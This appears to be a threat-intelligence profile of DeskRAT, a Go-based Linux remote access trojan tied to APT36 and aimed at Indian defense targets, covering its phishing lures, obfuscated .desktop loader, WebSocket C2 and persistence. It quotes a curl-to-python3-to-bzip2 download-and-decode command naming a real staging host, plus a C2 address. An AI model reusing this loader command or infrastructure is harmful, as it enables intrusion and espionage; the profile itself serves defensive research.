DeskRAT
- Type
- RAT
- Capabilities
- PersistenceExfiltrationReconnaissanceDefense evasionPost exploitation
- Delivery
- SpearphishingLure
- Platforms
- Linux
DeskRAT is a Go-based remote access trojan used by the Pakistan-nexus cyberespionage group Transparent Tribe, also known as APT36, against Indian government and defense organizations. Identified in 2025, it targets Linux systems, particularly Bharat Operating System Solutions (BOSS) environments used by Indian government and military organizations.
Its principal infection chain uses spear-phishing messages carrying ZIP archives or links to hosted archives. These contain malicious freedesktop launchers disguised as PDF documents. Executing a launcher triggers an obfuscated shell-based download and decoding sequence that installs a Go ELF payload while displaying a military- or government-themed decoy PDF. Delivery infrastructure has included legitimate cloud storage and dedicated staging servers. Layered encoding and concealed launcher configuration obscure the execution chain.
DeskRAT communicates with its command-and-control infrastructure over unencrypted WebSocket connections using the Gorilla WebSocket library. It attempts multiple configured endpoints and sends heartbeat messages containing host and activity information. Operators can enumerate directories, collect files matching configured extensions, exfiltrate matching files smaller than 100 MB, and upload and execute additional payloads. Supported execution methods include Python and shell interpreters, desktop launchers, and direct executable invocation.
DeskRAT supports persistence through systemd services, recurring cron jobs, GNOME autostart entries, and Bash startup mechanisms. Its associated management infrastructure provides centralized endpoint monitoring, file browsing, collection, and remote payload execution, supporting continued access and intelligence collection from compromised systems.
Associated threat actors
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
In August and September 2025, Sekoia.io YARA Trackers matched new samples, representing an updated infection chain ultimately delivering a Golang-based RAT which we dubbed DeskRAT .
The campaigns are characterized by the use of malware families like Geta RAT, Ares RAT, and DeskRAT...
Techniques & procedures
15 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
2 techniques
Initial Access
The disclosure comes as details have emerged of a targeted phishing operation leveraging weaponized Linux .desktop files to target the Indian military infrastructure using contract-related lures associated with Indian-armored vehicle procurement operations.
The current lure is themed as Ministry of Defence procurement of indigenous trawl assemblies for T-72 and T-90 main battle tanks ... a plausible-enough artifact for a defense-contracting inbox to open without hesitation.
Execution
5 techniques
Execution
"...run arbitrary shell commands..."
Once executed, the malicious .desktop launcher initiates a heavily obfuscated shell-based infection chain involving staged payload retrieval, inline decoding routines, and deployment of a Golang-based ELF implant tracked in this report as DeskRAT.
"DeskRAT, is delivered via a rogue PowerPoint Add-In file that runs embedded macro to establish outbound communication with a remote server to fetch the malware."
curl ${YAiuradJ} ${JOsQTdyK} | python3 -c 'import base64,sys; sys.stdout.buffer.write(base64.a85decode(sys.stdin.read()))' | bzip2 -d
APT36 ... is running an active Linux-targeted campaign ... delivered through abuse of the freedesktop .desktop file format with a triple-encoded bash loader.
Stealth
4 techniques
Stealth
The DeskRAT payload's ASCII85+bzip2 delivery mechanism, the decoded triple-encoded bash loader ( base64 → xxd -r -p → base64 ) ...
The root of the infection chain is a 1.4 MB .desktop file, MoD_letter_update.desktop ... a 500 KB base64-encoded PNG icon (so the launcher displays a convincing document icon to the victim), and a much larger base64-encoded .pdf-looking block that's actually unused data
the client-side /tmp/.wAhJmE-<md5> randomized drop path ... The randomized drop path ( /tmp/.wAhJmE-<md5> ) and the dotfile prefix keep the payload hidden from ls without -a
The campaign appears to target individuals connected to Indian military and defense infrastructure ecosystems using WhatsApp-based social engineering and staged shell payload delivery.
Discovery
1 technique
Discovery
"Geta RAT supports various commands to collect system information, enumerate running processes..."
Command and Control
3 techniques
Command and Control
The C2 protocol WebSocket ( ws:// over TCP/8080), gorilla/websocket implementation ... Sending a WebSocket upgrade ... all complete the handshake and receive a server-initiated JSON frame on connection
The command-and-control channel is a WebSocket endpoint on 85.137.249[.]224:8080/ws ... The agent's runtime behavior is: dial wss://<c2>:8080/ws , register with a UUIDv4 session identifier prefixed cxx- , send heartbeats, and handle RPC messages over the WebSocket channel.
Decoded, the command is plain: ... curl ... "https://" "bossmaya.xyz/download.php?file=client.txt" | python3 -c 'import base64,sys; sys.stdout.buffer.write(base64.a85decode(sys.stdin.read()))' | bzip2 -d
Observables
38 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
15 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.